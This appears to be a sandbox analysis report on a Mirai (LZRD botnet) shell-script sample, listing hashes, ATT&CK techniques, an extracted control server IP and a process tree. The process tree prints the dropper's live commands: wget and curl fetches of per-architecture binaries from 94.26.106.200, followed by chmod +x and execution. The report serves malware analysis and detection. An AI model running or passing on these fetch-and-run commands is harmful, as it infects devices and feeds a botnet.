mirai | f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
11/11/2026, 10:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
Size 1KB
Sample261111-mtfydsgv4s
SHA256 f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82
MD5 e92f13fac0e9943f48e4a9d7bb277127
SHA1 c260926a5dcd654feb54f0c410d271d9900922fd
SHA512 cc7a61c912c03a447314dc21c9c3e30645f74a327ab0b3b1888c006c3b5feb5b0aa452350a5aabb0051360b396a0492e3a902189780c9aae7d8d31f28676e1bb
TLSH
T1373161C920629F757C626DA3F6F5090E3291D8DFB8D22A9C5CE83AE5408DE16FCC4643
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet lzrd defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

94.26.106.200

Extracted

Family

mirai

Botnet

LZRD

94.26.106.200

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

Mirai Renesas payload 1 IoCs

resource	yara_rule
behavioral3/files/fstream-8.dat	family_mirai_renesas

Contacts a large (18278) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
889	chmod
895	chmod
799	chmod
835	chmod
851	chmod
865	chmod
877	chmod
883	chmod
857	chmod
871	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/SSH	800	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/SSH	836	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/SSH	852	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/SSH	858	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/SSH	866	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/SSH	872	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/SSH	878	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/SSH	884	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/SSH	890	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/SSH	896	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	SSH
File opened for modification	/dev/misc/watchdog	SSH

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	SSH

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx
behavioral3/files/fstream-5.dat	upx
behavioral3/files/fstream-6.dat	upx

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	SSH

Reads runtime system information 58 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/837/fd	SSH
File opened for reading	/proc/886/exe	SSH
File opened for reading	/proc/155/fd	SSH
File opened for reading	/proc/397/fd	SSH
File opened for reading	/proc/688/fd	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/672/fd	SSH
File opened for reading	/proc/694/fd	SSH
File opened for reading	/proc/844/fd	SSH
File opened for reading	/proc/691/exe	SSH
File opened for reading	/proc/727/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/263/fd	SSH
File opened for reading	/proc/348/fd	SSH
File opened for reading	/proc/350/fd	SSH
File opened for reading	/proc/842/fd	SSH
File opened for reading	/proc/734/exe	SSH
File opened for reading	/proc/351/fd	SSH
File opened for reading	/proc/840/exe	SSH
File opened for reading	/proc/880/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/fd	SSH
File opened for reading	/proc/451/exe	SSH
File opened for reading	/proc/672/exe	SSH
File opened for reading	/proc/694/exe	SSH
File opened for reading	/proc/848/exe	SSH
File opened for reading	/proc/843/fd	SSH
File opened for reading	/proc/721/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/893/exe	SSH
File opened for reading	/proc/734/fd	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/860/exe	SSH
File opened for reading	/proc/727/fd	SSH
File opened for reading	/proc/688/exe	SSH
File opened for reading	/proc/176/fd	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/714/fd	SSH
File opened for reading	/proc/839/fd	SSH
File opened for reading	/proc/714/exe	SSH
File opened for reading	/proc/393/fd	SSH
File opened for reading	/proc/451/fd	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/693/fd	SSH
File opened for reading	/proc/840/fd	SSH
File opened for reading	/proc/724/exe	SSH
File opened for reading	/proc/875/exe	SSH
File opened for reading	/proc/881/exe	SSH
File opened for reading	/proc/380/fd	SSH
File opened for reading	/proc/394/fd	SSH
File opened for reading	/proc/378/fd	SSH
File opened for reading	/proc/693/exe	SSH
File opened for reading	/proc/723/exe	SSH
File opened for reading	/proc/874/exe	SSH
File opened for reading	/proc/691/fd	SSH

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
802	wget
820	curl
834	cat

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xd.mips	wget
File opened for modification	/tmp/xd.arm4	curl
File opened for modification	/tmp/xd.arm7	curl
File opened for modification	/tmp/xd.ppc	wget
File opened for modification	/tmp/xd.mips	curl
File opened for modification	/tmp/xd.arm5	curl
File opened for modification	/tmp/xd.arm6	wget
File opened for modification	/tmp/xd.arm6	curl
File opened for modification	/tmp/SSH	f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
File opened for modification	/tmp/xd.mpsl	curl
File opened for modification	/tmp/xd.ppc	curl
File opened for modification	/tmp/xd.m68k	wget
File opened for modification	/tmp/xd.m68k	curl
File opened for modification	/tmp/xd.sh4	wget
File opened for modification	/tmp/xd.sh4	curl
File opened for modification	/tmp/xd.arm7	wget
File opened for modification	/tmp/xd.x86	wget
File opened for modification	/tmp/xd.x86	curl
File opened for modification	/tmp/xd.mpsl	wget
File opened for modification	/tmp/xd.arm5	wget

/tmp/f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
/tmp/f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:727
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.x86
  2⤵
  - Writes file to tmp directory
  PID:730
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/cat
  cat xd.x86
  2⤵
  PID:798
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-SsxWg6 xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/SSH
  ./SSH
  2⤵
  PID:800
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:802
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:820
- /bin/cat
  cat xd.mips
  2⤵
  - System Network Configuration Discovery
  PID:834
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-SsxWg6 xd.mips xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/SSH
  ./SSH
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:836
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.mpsl
  2⤵
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/cat
  cat xd.mpsl
  2⤵
  PID:850
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-SsxWg6 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/SSH
  ./SSH
  2⤵
  PID:852
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.arm4
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/cat
  cat xd.arm4
  2⤵
  PID:856
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH systemd-private-e9b00d5f317d4130ac33d51e4d67af69-systemd-timedated.service-SsxWg6 xd.arm4 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/SSH
  ./SSH
  2⤵
  PID:858
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.arm5
  2⤵
  - Writes file to tmp directory
  PID:859
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/cat
  cat xd.arm5
  2⤵
  PID:864
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/SSH
  ./SSH
  2⤵
  PID:866
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.arm6
  2⤵
  - Writes file to tmp directory
  PID:868
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/cat
  cat xd.arm6
  2⤵
  PID:870
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/SSH
  ./SSH
  2⤵
  PID:872
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.arm7
  2⤵
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/cat
  cat xd.arm7
  2⤵
  PID:876
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/SSH
  ./SSH
  2⤵
  PID:878
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.ppc
  2⤵
  - Writes file to tmp directory
  PID:880
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/cat
  cat xd.ppc
  2⤵
  PID:882
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.ppc xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/SSH
  ./SSH
  2⤵
  PID:884
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.m68k
  2⤵
  - Writes file to tmp directory
  PID:886
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/cat
  cat xd.m68k
  2⤵
  PID:888
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/SSH
  ./SSH
  2⤵
  PID:890
- /usr/bin/wget
  wget http://94.26.106.200/d/xd.sh4
  2⤵
  - Writes file to tmp directory
  PID:892
- /usr/bin/curl
  curl -O http://94.26.106.200/d/xd.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/cat
  cat xd.sh4
  2⤵
  PID:894
- /bin/chmod
  chmod +x f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.sh4 xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/SSH
  ./SSH
  2⤵
  PID:896

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SSH

Path /tmp/SSH
Size 30KB
SHA256 0c77a7ed5c5dcc7828bdffada959bf0ac1180ecfd43713f203ee9d5bf429283a
MD5 98dcdc9edc2835cb1835a04c7daf40ab
SHA1 dc3194021bbdc98e51df038dff1cd11086c143b8
SHA512 47086c7d971efb25f5023d074fd8c442b0a15266a74ff6b3286e658955dbcf5fc50ca4d6fcedab001521a861e6a0d3f562a6383c637fe8e49a8bc93bd98d1f0b
SSDEEP 768:JWCmB43AjaM4KN3j9kx7KurQTaJgGlzDpbuR1JO:JTp3uaM4KVuUKVJug
TLSH
T116D2D08846011E9ADDB38179A35507547C670B436083EFF9A0ADF94F8E8D6E92493E98
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SSH

Path /tmp/SSH
Size 31KB
SHA256 eccbbe2534611e9063699160495bf6128569039c2339db5852735a0212690867
MD5 20ebb9ab3350b222a68826bc83c4bb8c
SHA1 c829ccfd7fdb8ef2a76ef90f5567fcda9cd5c069
SHA512 0c13349249d4b10be12f7fcca40f42f8a57f343f1eb47cf64c78e36a1584a865190144b94dcd5acd723a6102546ff9dcd4c45c64ab071e6819e762809a9c7572
SSDEEP 384:Rdq84g5nZrtm0GUSSYT/Tk9Mjpsk0pcjqPlUQ8O6yJOoi6TIyr/bZMLRWGVCz0Nt:uRg5Z0Hm9M1sLuqNUFytCyTbsWE
TLSH
T162E2E0DFA65CB46BCBBC5C72508C17794C2474A0325F6BAA63240C85F91EDAF39488ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SSH

Path /tmp/SSH
Size 275B
SHA256 f4ea3275574152540b4a1e2b8d3bb4223149255c8958551df25a9305ac852c0f
MD5 d2873a3580238b9f7984ae9332c39e73
SHA1 b7ad162ab8e09160419a242714f910ffff83a3ff
SHA512 7406851a4485629d34cd5f1b713a2c77b9bd6fc0c8a3b109e752283b40ddcd580eb112dc976e781871a68e02d99d9e2aa5e79e9d204ca27c75580c9ceca9b2c0
TLSH
T1D9D02B9E5093B387581218A07AC125C3265C13FAB47B41E82D86D487569853FCDDA5D9
MD5 SHA1 SHA512 TLSH

Submit Download

SSH

Path /tmp/SSH
Size 64KB
SHA256 65a0c75e609f0dfe16c3e9e9c7cb97acd82a7ec497621223fb1428333afae981
MD5 7cda636ddd6bd80b9cf3ac1a956405bf
SHA1 386ac9c85064e7e935c16e70fb5dfd31aedb0864
SHA512 ce72bdea52b8b1244864bb18d4a186204046d46027be5bdae320311cde15b364e22e615d8194ab70c2ba1ff2573d17fe54efe0343993e5127d447c729e502c51
SSDEEP 1536:7aK/iivQhuniwt4gVuFosvO1VpeyUfs3otLok1cY3CJFac:7rqiBiOVGO1Vuf+Sn1cY3nc
TLSH
T124539EA5C1A8BE98CF698278B61489389723D00565E73DF6E741CB96D00BEECF14C7B1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xd.x86

Path /tmp/xd.x86
Size 29KB
SHA256 2a5116c9513947357f7b71cbf94e13e8cad82c7e24bb8fb5878b69b6aabbbd2b
MD5 2370ab19b2059486c95418a8a3cf39b9
SHA1 7fc6b14be827ad76486e384237f0fa16baed84a2
SHA512 c5c288742d12e4eb24e2544242c0f4ec00182c3826a4a32d1102e6928fcd4d94e0c22d684baa66075e9b8e0571f47d3b744190d1abde719b7002bfa9def86db7
SSDEEP 768:H0iH8FHtmpb0eJ7LI8GqRZLcbj+gYvQrMHFbdsNs3Dm8RzthLqx:HfHwHtmtvJ7SEoaQMHFH1Rzts
TLSH
T16FD2E0F09D35A063D4ED463FDD2CC46B228D9078E17B556AC2CA650268FBB0C7993A91
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads